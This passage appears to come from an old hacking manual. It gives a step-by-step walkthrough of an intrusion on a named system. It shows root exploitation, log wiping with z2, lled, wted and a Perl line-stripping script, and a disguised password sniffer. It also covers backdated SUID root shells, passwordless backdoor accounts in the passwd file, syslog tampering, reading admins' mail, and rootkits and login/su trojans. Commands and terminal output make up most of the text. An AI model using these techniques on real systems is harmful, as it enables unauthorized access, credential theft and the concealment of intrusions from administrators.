------------------------------ Section 6A A walk around a hacked system ------------------------------- I can't stress the importance of this enough! Clean, Clean!!!! In this section I will take you on the system first hand and show you some basics on what to look for, and on how to wipe your presence from the system. To start this lets logon a system: Here is the step by step through the basic process: ******----> see who is on the machine [/home/master]finger @victim.net [victim.net] No one logged on. ******----> good no one on, we will log on [/home/master]telnet victim.net Trying xxx.206.xx.140... Connected to victim.net. Escape character is '^]'. Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1 Kernel 1.2.13 on a i586 ns.victim.net login: jnsmith Password: Linux 1.2.13. You have new mail. ******----> Don't read his mail, you can cat all mail in /var/spool/mail and in each users /home/username/mail directory ******----> Check again to see if anyone is on [jnsmith@ns jnsmith]$ w 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00 User tty login@ idle JCPU PCPU what jnsmith ttyp1 5:35am w ******----> Just me, lets get root and get lost in the utmp! [jnsmith@ns jnsmith]$ cd .term ******----> Nice directory to hide stuff ;) [jnsmith@ns .term]$ ./.u ******----> I had this already waiting, it was the umounc.c exploit Discovered and Coded by Bloodmask and Vio, Covin 1996 ******----> We are now root, lets use z2 to become invisible bash# z2 jnsmith Zap2! ******----> Let's see if we are still on ... bash# w 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01 User tty login@ idle JCPU PCPU what ******----> Hmm. now there is no one on the system, i must have logged off ;) ******----> We know we are root, but lets check you you can see ... bash# whoami root bash# ******----> Yup, root .. What directory are we in? bash# pwd /home/jnsmith/.term ******----> Let's check the logs bash# cd /var/log ******----> most of the time in /var/adm, this box uses /var/log bash# grep dormroom * maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com ******----> Yup, the z2 took care of everything but this maillog ... bash# pico maillog ******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to delete lines ******----> These were the lines deleted Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com bash# grep dormroom * ******----> Yup .. all clear ;) bash# w 5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00 User tty login@ idle JCPU PCPU what ******----> Yup .. all clear here too ;) ******----> Lets show you how you would use lled and wted if the grep would have shown something in those files bash# cd ~jnsmith/.term bash# lled bash# lled -c dormroom.playhouse Entries stored: 527 Entries removed: 0 Now chmod lastlog.tmp and copy over the original /var/log/lastlog ******----> Nothing in the lastlog bash# bash# wted -e jnsmith Entries stored: 254 Entries removed: 0 Now chmod wtmp.tmp and copy over the original /var/log/wtmp ******----> Nothing in the wtmp, both of these would have shown in the grep we just did in the /var/log (just showing you the commands) ******----> Lets do some sniffing ... bash# pico linsniffer.c ******----> I changed this line to tell where i want the log to go: #define TCPLOG "/tmp/.pinetemp.000" ******----> lets look at what is running to think of a name that looks almost like it belongs there bash# ps -aux root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd) root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd) root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty) root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty) root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty) root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty) root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty) root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update) root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush) root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty) root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd ******----> lets compile it and name it nmb bash# gcc linsniffer.c -o nmb ******----> lets load it ... bash# nmb& [1] 22171 ******----> lets check the log file in /tmp bash# bash# cd /tmp bash# ls -al .pin* total 15691 -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000 ******----> There it is, but we don't want our login to know about it! bash# chgrp root .pin* ******----> Lets look now .... bash# ls -al .pin* -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000 bash# ******----> This is good, Lets make an SUID shell so we don't have to do this again. (check for MD5 or other programs in the cron) bash# cd /bin bash# ls -l sh lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash ******----> This is a sym link ... bash# ls -l bash -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash ******----> here is the real file ... lets see what to name it that looks like it belongs bash# ls arch df ksh ping tar ash dmesg ln ps tcsh bash dnsdomainname login pwd true cat domainname ls red ttysnoops chgrp echo mail rm umount chmod ed mkdir rmdir uname chown false mknod sed vi cp findterm more setserial view cpio gunzip mount sh vim csh gzip mt stty zcat date hostname mv su zsh dd kill netstat sync ******----> How about a new command in linux, most admin's won't know the difference ;) We will call it findhost bash# cp bash findhost ******----> ok, now lets have a look at our new unix command ... bash# ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost ******----> We need to change the group owner, touch the file date, and make it SUID bash# chgrp root findhost bash# ls -l findhost -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost bash# chmod +s findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost bash# touch -t 111312331995 findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost bash# ls -l m* -rwxr-xr-x 1 root root 64400 Oct 31 1995 mail -rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir -rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod -rwxr-xr-x 1 root root 20272 Nov 1 1995 more -rwsr-xr-x 1 root root 26192 Nov 1 1995 mount -rwxr-xr-x 1 root root 8381 Oct 31 1995 mt -rwxr-xr-x 1 root root 12753 Nov 2 1995 mv ******----> Now it looks like it belongs ... lets see if it gives us root, exit our current root shell.. bash# exit [jnsmith@ns .term]$ cd /bin [jnsmith@ns /bin]$ whoami jnsmith [jnsmith@ns /bin]$ findhost [jnsmith@ns /bin]# whoami root [jnsmith@ns /bin]# cd ******----> cd {enter} takes us back to our home dir [jnsmith@ns jnsmith]# ls mail [jnsmith@ns jnsmith]# echo + +>test [jnsmith@ns jnsmith]# ls -l total 2 drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail -rw-rw-r-- 1 root root 4 Jan 29 06:11 test ******----> See now we are uid=0 gid=0 [jnsmith@ns jnsmith]# rm test ******----> clean as we go ..... [jnsmith@ns jnsmith]# w 6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00 User tty login@ idle JCPU PCPU what ******----> Just making sure we are still alone .... [jnsmith@ns jnsmith]# ls -al /tmp/.p* total 15692 -rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000 ******----> were getting passwords already ;) [jnsmith@ns jnsmith]# ls -al total 32 drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 . drwxr-xr-x 33 root users 1024 Jan 22 16:53 .. -rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null -rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout -rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile -rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc -rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail [jnsmith@ns jnsmith]# ******----> Make sure you place this sys link .bash_history to /dev/null so you do not leave a history behind... This is the command to do it, but make sure you delete the old .bash_history if it is there. ln -s /dev/null .bash_history Ok logout ... Ok, there is another way!!!!!! If you can remember and make it a practice that you NEVER forget, get used to this.... EVERY TIME you login to an account type: unset HISTFILE This will tell the system to delete your history file when you logoff the system... USE THIS! Get into the practice! DON'T FORGET! ----------- Section 6B messages and syslog ----------- In the log directory you will find a file called 'messages' each system is different as far as what is logged to what files or what file name. Make sure to check in the /etc/syslog.conf file for additional logging to remote machines. If this is being done you will see something like this: *.* @somehostname.xxx Or just to check and see where the log files are going you can view this file /etc/syslog.conf. Here is a sample... bash# more syslog.conf # /etc/syslog.conf # For info about the format of this file, see "man syslog.conf" (the BSD man # page), and /usr/doc/sysklogd/README.linux. # # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES. # I don't know why. # *.=info;*.=notice /var/adm/messages *.=debug /var/adm/debug *.warn /var/adm/syslog *.warn /root/.../syslog *.=crit;kern.none /var/adm/critical kern.info;kern.!err /var/adm/kernel-info mail.*;mail.!=info /root/.../mail mail,news.=info /root/.../info mail.*;mail.!=info /var/adm/mail mail,news.=info /var/adm/info *.alert root,bob *.=info;*.=notice @quality.com *.=debug @quality.com *.warn @quality.com *.=crit;kern.none @quality.com kern.info;kern.!err @quality.com mail.*;mail.!=info @quality.com mail,news.=info @quality.com Here some of the logs are going into a hidden directory in the /root directory and a copy of every alert and warning are being also sent to the logs at quality.com. wtmp, utmp and lastlog are still local, so you can still be ok, just make sure not to use 'su' on a system like this. Also notice above that alert messages are being mailed to root and bob on this system. Also take note that syslog, mail, and, info are being sent to the /var/adm directory to fool you into thinking all of the logs are in /var/adm! If you edit /var/adm the admin can run a diff on the backup files in the /root dir. Ok, so you go to the /var/adm or /var/log directory and: grep yourhost * |more grep your ip * |more you see that some files are logging your connection, mark down what files are logging you and edit the /etc/syslog.conf file. You will from trial and error in most cases make it skip the logging process of your domain. BUT, make sure to do a few things. After you edit the file restart the syslogd. You can do this by doing a ps -x $root> ps -x 39 ? S 1:29 /usr/sbin/syslogd find the syslogd and notice the process id here is 39, so you do: kill -HUP 39 This will restart the process and put your changes into effect. The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you edit it and touch the file date back to the original date and time after you edit it. This way if they notice the logging looks different, they will check the file date and think it must be something else. Most admins would not know how to setup this file in the first place, so you in some (or most) cases ok to edit it. Here is another file to look at. /etc/login.defs # Enable "syslog" logging of su activity - in addition to sulog file logging # SYSLOG_SG_ENAB does the same for newgrp and sg. # SYSLOG_SU_ENAB yes SYSLOG_SG_ENAB yes # # If defined, all su activity is logged to this file # SULOG_FILE /home/users/bob/.list Notice here that there is an su log file in a hidden file in one of the admin's directories. ----------- Section 6C xferlog ----------- The xferlog can be edited with your favorite text editor, pico, joe, vi, etc.. you can then search for your transfers and delete the lines and save the file. You will need to do this after transferring any files. You will also want to grep the files in the /usr/local/etc/httpd/log directory if you have used the web or phf on the system to remove your presence from there. grep (username or hostname) * |more If you need to find the logs for httpd you can do a find -name httpd.conf -print and view the config file you see where the httpd logs are going. There might be different ftp logs for transfers in some ftp or virtual ftp directory some where. View the files in the /etc/ftp* to find what the ftp setup is on the box. Here I have shown you to edit log files using pico, joe, or other editors. There is another way... Sometimes log files might be real large and the editor just might not cut it ;) Here is what to do... You have a messages file 20 meg ... wow! If you want to get the lines that have fudge.candy.com out of this file you might want to do this: grep -v fudge.candy >messages.2 rm messages mv messages2 messages then kill -HUP -v means grep everything that does not match the line, so you are greping the file -what you do not want to a new file name messages.2. Check the file size after the grep to make sure no errors were made and replace the old one with the new one and restart syslogd. This can also be used with other logs like xferlog, syslog, etc... Here is a perl script that will do it for you from command line. ------------------- start of riptext.pl #!/usr/bin/perl # # RipText - Takes regular expression and filename argument from @ARGV. Any # lines MATCHING regular expression will *not* be printed to # STDOUT. # # die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0])); ($regexp, $filename) = @ARGV[0,1]; # Read in contents of file. $/ = undef; $contents=""; if (!defined($filename)) { # Use STDIN. $contents = scalar ; } else { # Use FILE. open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n"); $contents = scalar ; close(FILE); } @contents = split(/\n/, $contents); # Strip file of matching lines. open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n"); foreach (@contents) { print FILE "$_\n" unless (/$regexp/i); } close(FILE); 0; ------------------------ end of riptext.pl Remember to restart syslogd after you edit files, true you will not see the stuff, and it will be gone to your eyes, but if you do not restart the process, the data is still in memory and can be retrieved until you restart the process! Also look for notes in the syslog that the syslogd process was restarted at such and such a time. --------------- Section 6D The cron table --------------- Make sure to look at admin's and root cron files, here in this system we find a root cron file in: /var/spool/cron/crontabs bash# ls -l total 1 -rw------- 1 root root 851 Jan 26 14:14 root bash$ more root # This updates the database for 'locate' every day: 40 07 * * * updatedb 1> /dev/null 2> /dev/null 40 */12 * * * /sbin/checkfs there is a file running here in /sbin called checkfs. bash$ cd /sbin bash$ /sbin # more checkfs #!/bin/bash if [ ! -f /etc/default/fs/.check ]; then echo WARNING!! Filecheck default file cannot be found. Please regenerate. exit fi md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /sbin/* >> /tmp/filecheck 2>/dev/null md5sum /bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /lib/* >> /tmp/filecheck 2>/dev/null md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1 if [ -s /tmp/filecheck2 ]; then mail -s FSCheck bin < /tmp/filecheck2 fi rm /tmp/filecheck /tmp/filecheck2 2>/dev/null md5 is a checksum file, if you change or add a binary file to any of the above directories the information of the changes will be mailed to the admin. ------------------------------ Chapter 7 Keeping access to the machine ------------------------------ There are many ways to keep access to the machine, you will loose access to many as you as you are learning, but I hope with this manual and some experience you will become a stable hacker. Section 7A Tricks of the trade Here are some 'tricks' of the trade that will help you keep access to the machine. After a system admin has found you out, they will be watching for you and going through everything on the system. They will go as far as recompiling binary files, changing everyone's passwords, denying your host you came in from to the machine, going through the passwd or shadow file, looking for SUID files, etc.... When you see that you have been found out, do not try to get access to the system again. I have seen others right after being cought, try everyone of their trojans, other accounts, and other backdoor's they placed for continued access. Well think about it, they are watching for you ... you are showing them every in that you have to the system, and every exploitable file you are making known to them. NO! WAIT! Give it a few months, they will think everything is ok, and they will relax and you can come in with one of the backdoor's they missed, and you can do your thing on the logs for all of the attempts you made on the system to get back in. Ok here are some tricks of the trade. History Files: -------------- Always put your .bash_history to /dev/null, if you don't make sure you at least edit it. Remember the .bash_history will always have your last commands until the logoff. So if you edit it, it will show that you are editing it. You might try changing your shell and editing it there, but this all seems like a pain, just set it to /dev/null 1. Delete the file in the user directory .bash_history if it there. 2. Type this command in the home directory: ln -s /dev/null .bash_history Nested directory: ----------------- Always find a directory on the system to hide your files. There are a few good ones that most users never look into. In the users home directory look for .term, all you will find in this directory is an executable file called termrc. Admin's and users alike are used to seeing this hidden directory, and never EVER go into it. if they did what do you think they would say to an executable file being in there called termrc? You are right! Nothing .... it belongs there and it is what they expect to see there. So lets say we make termrc a little bigger, and add suid perm's ... are you getting the idea???? I hope you guessed it... go to the /bin directory and type cp bash (or sh whatever is there) ~username/.term/termrc then type : chown root ~username/.term/termrc : chgrp root ~username/.term/termrc : chmod +s ~username/.term/termrc Now you have a nested file that can get you root on the system any time that will not be easy for the admin to find. If you want to get fancy, touch the file date to make it look like an older file. Another directory off the user accounts expected to be there and unused would be .elm, .term or Mail, or try making a directory called '...' this is harder to notice seeing the first directories that show are . and .., so it can go un-noticed easy. This is how it would look if they did a long ls: 1024 Jan 29 21:03 . 1024 Dec 28 00:12 .. 1024 Jan 29 21:03 ... 509 Mar 02 1996 .bash_history 22 Feb 20 1996 .forward 164 May 18 1996 .kermrc 34 Jun 06 1993 .less 114 Nov 23 1993 .lessrc 1024 May 18 1996 .term 1024 May 19 1996 public_html see how it seems to just fit into place? but if it was just a ls -l, this is what would be seen: 1024 May 19 1996 public_html Remember you can always look for some REAL LONG file path that you are sure that no one would ever even want to enter into, and use this for your nested directory. You can even make your own directory there like:(...) ;) Making new commands -------------------- After you check the cron to see if there is md5 being used there, you might want to either copy one of your exploits to another filename in the system, or maybe just overwrite a command that you know would never be used. If you copy to a new file name make sure you touch the file date. This is not so long lasting because sooner or later they will patch the exploit and your new file you made will not work anymore. It is better to use a shell for the new filename, and then make it suid. Adding or changing passwd entry's --------------------------------- Another backdoor that you can use is to add a new user to the passwd file. This needs to be done with caution making it look like it belongs there. Never use your passwd addition, never login, it is just for a backup in case you loose access. There are different thoughts here: you do not have to make it a root account that could cause notice to it right away. You know you can have root any time you want it. Lets practice ... We want to make our account look like it belongs, so lets keep to the top of the file. root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:65535:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash Looking at the above passwd file leaves us a few options so i will just list them here. 1. Look at the user line for operator, ftp, and postmaster. All of these accounts have shells with no passwd's set yet. From your shell just type: passwd postmaster Set the account with no passwd by just pressing enter. Now you will be able to log into this account any time without a password and the file will still look right to the admin. 2. add this line to the passwd file: syst::13:12:system:/var/spool:/bin/bash Place it in the file where it seems to flow. You can leave the :: for the passwd or set the passwd to what you want by typing: passwd syst from the root shell. Set the group and id above to what you like. 3. Look at the line above for sync sync:*:5:0:sync:/sbin:/bin/sync Change this to : sync:*:5:0:sync:/sbin:/bin/bash and then run and leave the passwd blank. (or set a passwd don't matter) On this account we are even gid=0 rin Installing games ---------------- You could always install exploitable doom or abuse into the system if they already have games installed. I will include the root exploits for these games below in the appendix. Always be watching ------------------ Always know who the admin's are on a system, you can find them by looking at the passwd file to see home directories, placement of the uid, group access accounts, and ALWAYS read all of the bash_history files in the user directories to see who is using admin commands. You will also learn allot of new commands from reading history files, but you want to know who is who on the system. Get to know your system well. Look for users using su: View the log files to see who is using admin commands. Always be watching the system, keep track of who is on while you are. Watch the admin's history to see what commands they are using, ttysnoops? too many ps commands? finger commands after ps or w or who commands will show they are watching what other users on the system are doing. Watch your admin's and get to know how aware they are of users on their system. Reading system mail Rember first NEVER to use system mail programs! They will be able to tell you are reading their mail. I use a combo of a few things. Here you go... 1. cd /var/spool/mail This will put you into the directory that holds all of the unread mail, or waiting mail. Now you can do things like: grep -i security * |more grep -i hack * |more grep -i intruder * |more grep -i passwd * |more grep -i password * |more Then if needed pico username, and ctrl w to search for your maeesge. You can also delete messages if you see some other admin is telling them that your user name is hacking their machine from their domain. For a mail reader that will allow toy to read mail without updating pointers try: http://obsidian.cse.fau.edu/~fc has a util on it that can cat /var/spool/mail files without changing the last read dates.. ie they have no idea that you have read their mail. Also remember you can find other system mail in user's directories. Make sure to look in the /root directory. Look for /root/mail or username/mail or other directories or filders that contain older mail. Happy Hunting ... -------------------------------- Section 7B Root and Demon kits and trojans -------------------------------- Root kits are C source for ps, login, netstat and sometimes some other programs that have been hacked for you. With these kits you will be able to replace the login files on the hacked box so that you can login without an account on the machine. You will also be able to patch ps so that you will not show up when an admin uses the ps command. With the ps patch you can also have it not show processes that have certain file names such as any file that starts with 'sniff'. Demon kits will have hacked programs for identd, login demon, ping, su, telnetd, and, socket. Trojans will be any file that you can use that will allow you to exploit the system in some way. An su trojan placed in the admin's directory would run the trojan su first after you change the export path for him ;) and report back that he typed the wrong passwd and delete the trojan file, but saving the password he typed to the /tmp directory. A login trojan would save all login passwords to a file on the machine for you. I think you get the idea ;) Demon and Linux root kits have been uuencoded and attached to the end of appendix VI ****************************************** * Appendix I - Things to do after access * ****************************************** I think in this paper we have covered most of the things you can do after access, so I will make this in the style of a checklist from a to z. a. learn who the admin's are on the system b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to try and keep track of what others are doing c. read all of the bash history files or any history files you can find on the machine to learn more yourself, and to learn about the users d. make as many backdoor's into the system as you can that you are sure will not be found out e. keep the access to yourself, don't give out users passwords on the machine you get root on. f. always clean your utmp and wtmp right away when you login g. always clean your mess as you go along, this includes your xferlog and messages h. if you have root access make sure to read /etc/syslog.conf and /etc/login.defs to see how the system is logging i. before changing binary files look at the root cron to see what they are running. j. look for md5 on the system k. look for separate ftp logs l. make sure to clean the www logs if you ever send phf commands to the server m. make an suid root shell and place it somewhere on the system n. do only what you are sure of, don't do everything in this hacking manual all at once or you are asking to get cought o. only use nested directories, do not put files into user directories where all they need to do is type ls to see them p. don't add user accounts and think they will not notice you. q. don't use pine or other mail programs to read users mail. if you want to read mail go to the mail dir and read it from unix, new mail you will find in /var/spool/mail read it there. r. don't change the system so that other programs they have running will not work any more, they will be on you like fly's on shit s. don't delete files on the system unless you put them there t. do not modify their web pages, like i was here ... you are not a hacker you are a little kid wanting attention u. do not change any passwords on the system (unless you are doing it for access and have backed up the passwd file and replace it right after you login v. do not use any root account machines for irc access, or to load a bot on w. if your root account changes or you create files that are owned by the wrong group, be sure to chown the files x. do not use .rhosts if there is already one there that is being used y. never telnet or ftp to your account from the hacked box z. don't fuck up their machine! only do what you know how to do.